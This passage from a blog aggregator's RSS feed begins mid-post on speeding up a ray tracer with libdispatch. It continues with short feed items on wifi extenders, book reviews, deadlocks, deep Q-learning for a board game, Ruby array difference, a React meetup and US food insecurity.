        &lt;span class="n"&gt;dispatch_group_enter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayTask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;float3&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filmQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updateColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;dispatch_group_leave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayTask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;dispatch_group_notify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rayTask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filmQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you run this code as is, the program would exit even before the first ray has returned. The reason being that our main program runs on the main thread, and there is nothing holding our main thread from finishing. We could either use the main queue which is a serial queue around the main thread as our &lt;code class="language-plaintext highlighter-rouge"&gt;filmQueue&lt;/code&gt;. But I don’t like the idea, if we decide to have some better UI around our ray tracer, like a loading indicator or a progress bar, we would need the main thread for that.&lt;/p&gt;

&lt;p&gt;For our current needs what we simply need is this one line at the end:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;dispatch_main&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And that should keep the main thread busy forever. Which means our program never exits. That is also not very good. The fastest way around is then to explicitly exit the program when the image has been processed.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;film&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mainQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;With this change, I was able to reduce the run time from 10 minutes to 7 minutes 30 seconds. Not bad!&lt;/p&gt;

&lt;p&gt;&lt;img alt="concurrent background" src="https://i.imgur.com/dl65mc4.png" /&gt;&lt;/p&gt;

&lt;p&gt;But this is not all, remember when we created the &lt;code class="language-plaintext highlighter-rouge"&gt;rayQueue&lt;/code&gt; we passed in the &lt;code class="language-plaintext highlighter-rouge"&gt;QOS_CLASS_BACKGROUND&lt;/code&gt;. This flag dictates the quality of service class, which gives the system a hint on what kind of operations is the queue going to perform. Here I picked background, which isn’t entirely true. By simply changing the quality of service class to &lt;code class="language-plaintext highlighter-rouge"&gt;QOS_CLASS_USER_INITIATED&lt;/code&gt;, the runtime goes down to around 4 minutes! Awesome!&lt;/p&gt;

&lt;p&gt;&lt;img alt="concurrent user initiated" src="https://i.imgur.com/EsqOAwG.png" /&gt;&lt;/p&gt;

&lt;p&gt;Finally since we are mutating the &lt;code class="language-plaintext highlighter-rouge"&gt;film&lt;/code&gt; within &lt;code class="language-plaintext highlighter-rouge"&gt;filmQueue&lt;/code&gt;, we need to capture the reference. The way it’s done blocks is with the use of &lt;code class="language-plaintext highlighter-rouge"&gt;__block&lt;/code&gt; keyword.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;__block&lt;/span&gt; &lt;span class="n"&gt;Film&lt;/span&gt; &lt;span class="nf"&gt;film&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ny&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id="conclusion"&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Although the &lt;a href="http://www.gotw.ca/publications/concurrency-ddj.htm"&gt;free lunch is definitely over&lt;/a&gt;, but still it is amazing to realize how much performance gain can be achieved by simply using easy to use concurrency libraries such as libdispatch.&lt;/p&gt;

&lt;p&gt;Maybe I’ll give the C++ standard thread library a shot. I would like to benchmark the gain of using &lt;code class="language-plaintext highlighter-rouge"&gt;std::async&lt;/code&gt; someday, but I doubt if they would be as much given the fact that concurrency is much more about what lies in the implementation, which I don’t think Apple cares for C++ standard as much as for their libdispatch.&lt;/p&gt;

&lt;p&gt;The entire code is available at &lt;a href="https://github.com/chunkyguy/SimpleRayTracer"&gt;github.com/chunkyguy/SimpleRayTracer&lt;/a&gt;&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 04 Feb 2018 14:35:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/raytracing/graphics/pbr/2018/02/04/raytracing-libdispatch/</guid></item><item><title>Extending a wifi network with a TP-Link RE650</title><link>https://ilearnt.com/blog/re650/</link><description>&lt;p&gt;I had a very unusual setup for the network for my office. The office is situated a floor above and at the opposite end of the house to where the main router is located. A fully wired connection is not an option at the moment due to concrete floors and limited access to roof voids.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sun, 04 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/re650/</guid></item><item><title>Animal Farm</title><link>https://apurva-shukla.me/bookshelf/animal-farm/</link><description>⭐ ⭐ ⭐ ⭐ A fantastic allegory on the condition of power and its transcendence from humanity, to embody all of nature; twisting the beauty and…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 04 Feb 2018 13:23:55 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/animal-farm/</guid></item><item><title>On writing deadlock-free and composable software</title><link>https://www.databasesandlife.com/deadlocks-and-software-composability/</link><description>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deadlocks&lt;/strong&gt; are: One session/user has acquired access to resource A (and won&amp;rsquo;t let anyone touch it), and is waiting for resource B. Another user/session has acquired access to resource B and is waiting for resource A. They&amp;rsquo;ll both wait forever. You don&amp;rsquo;t want that. Your software has now crashed. You want your software to be deadlock-free.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Software composability&lt;/strong&gt; is: You want to split your software into small independent pieces that can be combined. For example you want to write the functions &lt;code&gt;doA()&lt;/code&gt; and &lt;code&gt;doB()&lt;/code&gt; and want to write each one without considering the other. This makes it easier to reason about the software, as each function is smaller than entire program; smaller code is easier to reason about than larger code. And if you&amp;rsquo;re lucky, you might be able to re-use one of your functions later, or not write a function at all and re-use what you or someone else has written in the past. You want your software to be composable.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Sun, 04 Feb 2018 10:06:14 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/deadlocks-and-software-composability/</guid></item><item><title>The Doll's House</title><link>https://apurva-shukla.me/bookshelf/the-dolls-house/</link><description>⭐ ⭐ ⭐ ⭐ My first real read of a spy thriller and if I care to say, it was quite the twist in the end! A hint of realism blending between the…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 04 Feb 2018 09:43:23 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-dolls-house/</guid></item><item><title>The Remains of the Day</title><link>https://apurva-shukla.me/bookshelf/the-remains-of-the-day/</link><description>⭐ ⭐ ⭐ ⭐ Excellently written, Ishiguro delves into the frame of what could’ve been; painting a picture of a man who led his life based on his…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 04 Feb 2018 09:41:29 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-remains-of-the-day/</guid></item><item><title>Uber "self-driving trucks" are NOT trucks. And this means that...</title><link>https://stop.zona-m.net/2018/02/uber-self-driving-trucks-are-not-trucks.-and-this-means-that.../</link><description>&lt;p&gt;Uber believes that Self-Driving Trucks will result in MORE jobs for truck drivers, not less. Why, and what does this REALLY mean?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 04 Feb 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/uber-self-driving-trucks-are-not-trucks.-and-this-means-that.../</guid></item><item><title>Reinforcement learning for Las Vegas</title><link>https://michael.mior.ca/blog/reinforcement-learning-for-las-vegas/</link><description>&lt;p&gt;During a department board games night, we were playing &lt;a href="https://boardgamegeek.com/boardgame/117959/las-vegas"&gt;Las Vegas&lt;/a&gt; when a fellow player remarked that he wondered how an AI for the game would perform.
Since I had been meaning to spend some time learning to implement neural network techniques, this seemed like a great opportunity.
One of the first things that came to mind was a &lt;a href="https://arxiv.org/abs/1312.5602"&gt;paper&lt;/a&gt; from the DeepMind team on using deep neural networks to implement a variant &lt;a href="https://en.wikipedia.org/wiki/Q-learning"&gt;Q-learning&lt;/a&gt;.
The gist behind classical Q-learning is maintaining a table with the expected utility of a particular action in a given state.
This table is updated while the game is played based on the observed rewards.&lt;/p&gt;
&lt;p&gt;The idea behind deep Q-learning is to use a neural network to replace the table which is traditionally used.
One of the big advantages is that it’s possible to handle much larger state-action spaces using a neural network.
The first step was to decide how to represent the game state.
For anyone not familiar with Las Vegas, &lt;a href="http://www.yucata.de/en/Rules/LasVegas"&gt;Yucata&lt;/a&gt; has a good overview of the rules and a mechanism for playing online.
The short version is that players take turns rolling dice and placing them on differently numbered casinos in an attempt to get the highest cash reward.&lt;/p&gt;
&lt;p&gt;I first built a simple class structure for the game in Python to represent all the game state and stubbed out a couple functions to implement the game logic.
The next step was to decide how the state was going to fed into the network.
In the original deep Q-learning paper, the authors used a &lt;a href="https://en.wikipedia.org/wiki/Convolutional_neural_network"&gt;convolutional neural network&lt;/a&gt; to feed in frames from gameplay video.
I instead chose to explicit represent the state using the following values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Number of players in the game&lt;/li&gt;
&lt;li&gt;Current game round number&lt;/li&gt;
&lt;li&gt;Cash currently held by each player&lt;/li&gt;
&lt;li&gt;Number of dice currently on each casino&lt;/li&gt;
&lt;li&gt;Money available at each casino&lt;/li&gt;
&lt;li&gt;Number of dice of each value in the current roll&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Explicitly representing the state also resulted in a different structure for the network itself.
The input layer simply received a normalized vector of the state values above.
The second fully-connected layer was simply half the size of the first layer.
Both of the first two layers used a &lt;a href="https://en.wikipedia.org/wiki/Rectifier_(neural_networks)"&gt;ReLU&lt;/a&gt; activation function.
The final output layer was also fully connected but with a linear activation function and a size of six to represent the choice of each possible die.
After training the AI against 4 random opponents, the AI was able to win around 50% of games which I was pretty happy with given the inherent randomness of the game.
However, the evaluation was by no means robust and something that definitely needs to be improved upon.&lt;/p&gt;
&lt;p&gt;I later implemented hyperparameter optimization using the &lt;a href="https://github.com/hyperopt/hyperopt"&gt;Hyperopt&lt;/a&gt; library.
After much more training, I tried to optimize the reward values, &lt;a href="https://en.wikipedia.org/wiki/Q-learning#Discount_factor"&gt;discount factor&lt;/a&gt;), and other parameters specific to deep Q-learning.
This led me to change the kernel initializer to &lt;a href="https://keras.io/initializers/#lecun_uniform"&gt;LeCun uniform&lt;/a&gt;, the activation function of the first two layers to a &lt;a href="https://keras.io/activations/#sigmoid"&gt;sigmoid function&lt;/a&gt;, and the optimization algorithm from &lt;a href="https://keras.io/optimizers/#rmsprop"&gt;RMSprop&lt;/a&gt; to &lt;a href="https://keras.io/optimizers/#adam"&gt;Adam&lt;/a&gt;.
This was mostly for a bit more fun although it did seem to provide about a 20% performance improvement on some simple evaluations I tried.&lt;/p&gt;
&lt;p&gt;Since this is just a fun side project, one of the next things on my agenda is to implement a UI using &lt;a href="http://boardgame.io/"&gt;boardgame.io&lt;/a&gt; so I can get a sense of how the AI “feels.”
All in all, this was a pretty fun project.
The source code is available &lt;a href="https://github.com/michaelmior/lasvegas"&gt;on GitHub&lt;/a&gt; for anyone who wants to play with it.&lt;/p&gt;</description><author>Michael Mior</author><pubDate>Sun, 04 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://michael.mior.ca/blog/reinforcement-learning-for-las-vegas/</guid></item><item><title>What Happens When A User Edits A Post on Dev.to?</title><link>https://www.swyx.io/what-happens-when-a-user-edits-a-post-on-devto-a58</link><description>&lt;hr /&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sat, 03 Feb 2018 21:25:54 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/what-happens-when-a-user-edits-a-post-on-devto-a58</guid></item><item><title>Ma’agalim - Jane Bordeaux</title><link>https://ilearnt.com/blog/maagalim/</link><description>&lt;p&gt;This is a beautiful music video. Watch it all the way through and carefully watch what happens to some of the characters.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 03 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/maagalim/</guid></item><item><title>Array divergence in Ruby</title><link>https://josh.works/array-divergence</link><description>&lt;p&gt;Lets say you have a list of valid items, and you want to run another array against it, and pull out the items that don’t match.&lt;/p&gt;

&lt;p&gt;You don’t want to iterate through all of the items in one array, calling &lt;code class="language-plaintext highlighter-rouge"&gt;other_array.include?(item)&lt;/code&gt;. (That’s computationally expensive)&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;valid_people&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Sarah Connor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"John Connor"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;visitor_logs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Sarah Connor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"John Connor"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Terminator Robot"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You want to find any item in &lt;code class="language-plaintext highlighter-rouge"&gt;visitor_logs&lt;/code&gt; that isn’t on the approved list. How to do that?&lt;/p&gt;

&lt;p&gt;in Ruby, you can just “subtract” one array from another:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;unwanted_visitors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;visitor_logs&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;valid_people&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Terminator Robot"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;!--more--&gt;

&lt;p&gt;What if you want to see what items on both lists are &lt;em&gt;not&lt;/em&gt; in common? (AKA &lt;em&gt;divergence&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;You’ll use Ruby’s &lt;code class="language-plaintext highlighter-rouge"&gt;uniq&lt;/code&gt; operator, which is &lt;code class="language-plaintext highlighter-rouge"&gt;|&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lets say you’re a &lt;em&gt;really&lt;/em&gt; aggressive party host. When you invite people, they’d better show up. And if someone DOES show up who’s not invited, they’re in trouble too.&lt;/p&gt;

&lt;p&gt;So, you’ve got &lt;code class="language-plaintext highlighter-rouge"&gt;expected_guests&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;actual_guests&lt;/code&gt;. You need to figure out who in each list isn’t on the other one. Maybe you’ll rick roll them later for their error. Here’s how you’d do that:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;expected_guests&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Sarah"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"John"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"The Hulk"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;actual_guests&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Sarah"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"John"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Dracula"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;expected_guests&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;actual_guests&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"The Hulk"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;actual_guests&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;expected_guests&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Dracula"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected_guests&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;actual_guests&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actual_guests&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;expected_guests&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"The Hulk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Dracula"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Looks like you’re &lt;a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"&gt;rick rolling&lt;/a&gt; The Hulk, and Dracula. Good luck!&lt;/p&gt;

&lt;p&gt;The above operation is the same as:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;list_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;list_2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="additional-reading"&gt;Additional Reading&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://stackoverflow.com/questions/20205023/ruby-find-element-not-in-common-for-two-arrays"&gt;Stack Overflow: Find element not in common for two arrays&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.chrisrolle.com/en/blog/array-coherences"&gt;Christian Rolle: Array Coherences&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Fri, 02 Feb 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/array-divergence</guid></item><item><title>Professionals do everything necessary - not just the fun bits</title><link>https://ilearnt.com/blog/professional/</link><description>&lt;p&gt;This article defines the difference between a professional developer and an amateur as:&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 02 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/professional/</guid></item><item><title>The Kubernetes Book by Nigel Poulton</title><link>https://ilearnt.com/blog/thekubernetesbook/</link><description>&lt;p&gt;At the moment I am having to get up to speed on a bunch of technologies relating to &amp;ldquo;DevOps&amp;rdquo;. This includes Kubernetes. I borrowed this book from a colleague and read it over the course of two days commuting. It provides a very good high level overview of all the main concepts of the platform.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 02 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/thekubernetesbook/</guid></item><item><title>5000 concepts for Europe: update 2018/02/02</title><link>https://stop.zona-m.net/2018/02/5000-concepts-for-europe-update-2018/02/02/</link><description>&lt;p&gt;Below please find the suggestions received so far for my proposal of a &lt;a href="https://stop.zona-m.net/2017/12/5000-concepts-for-europe-a-book-proposal"&gt;&amp;ldquo;5000 concepts for Europe&amp;rdquo; book&lt;/a&gt;. What do you think?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 02 Feb 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/5000-concepts-for-europe-update-2018/02/02/</guid></item><item><title>First talk in React series</title><link>https://muffinman.io/blog/it-girls-react-series/</link><description>&lt;article class="article"&gt;&lt;p&gt;This time we joined forces with our friends from &lt;a href="http://itgirls.rs/"&gt;IT Girls&lt;/a&gt;.
They are promoting tech among women, and helping them start a career in it.
Together, we are organizing a series of meetups and workshops about React.&lt;/p&gt;
&lt;p&gt;Last night, my colleague Nemanja and myself had a pleasure to give the first talk in the series.
We are planning to have one more meetup followed by a couple of workshops,
and for a great finale, hackathon will be organized.&lt;/p&gt;
&lt;p&gt;After yesterday&amp;#x27;s introduction to React, we&amp;#x27;ll continue with more in depth talks,
including more code examples. To reserve your place, make sure you apply in time,
by following &lt;a href="http://itgirls.rs/"&gt;IT Girls&amp;#x27;&lt;/a&gt; website and Facebook.&lt;/p&gt;
&lt;p&gt;Due to large interest, we might repeat the first talk.
Slides are available for &lt;a href="/pdf/Introduction%20to%20React.pdf"&gt;download&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 02 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/it-girls-react-series/</guid></item><item><title>15 Million U.S Households Are Food Insecure</title><link>https://macleodsawyer.com/blog/food-insecurity/</link><description>&lt;blockquote&gt;
&lt;p&gt;According to the &lt;a href="https://www.ers.usda.gov/webdocs/publications/84973/err237_summary.pdf?v=42979"&gt;Department of Agriculture’s Economic Research Service&lt;/a&gt;, 12.3 percent of U.S. households, or 15.6 million households, were food insecure in 2016. Food insecure means that members of the household have a difficult time getting enough to eat at some point during the year because they lack resources. Usually, children are shielded from hunger, and adults will go without food so younger members can eat. But 3.1 million households still had children who experienced food insecurity, which was similar to pre-recession levels in 2007. (Jassica Lai)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is inhumane, and a grave injustice of the government that we are apart of. No one should ever be hungry, no one should ever have to go without food when needed. The very basis of all societies has been the abundance of food in the population, the more food a society has and shares amongst themselves the higher the rate of education, literacy, innovation, and thoughtfulness.&lt;/p&gt;
&lt;p&gt;The very first priority a government should have is to ensure that the citizens have access to clean food, clean air, and medical services. Everything else comes secondary after the freedom of the people. When a government fails to act in accordance with the majority of the people, then something is incredibly wrong. When children are left hungry and thirsty and we as a society let this happen - something is wrong.&lt;/p&gt;
&lt;p&gt;When a &lt;a href="https://www.msn.com/en-us/lifestyle/whats-hot/desperate-mom-calls-911-saying-she-has-no-food-for-her-kids/ar-BBIwyMG?li=BBnb7Kz"&gt;mother has to call 911 to request assistanc&lt;/a&gt;e because she could not afford food for her four children, and had to go from church to church and organization to organization and be told that they couldn’t help - then something is wrong.&lt;/p&gt;
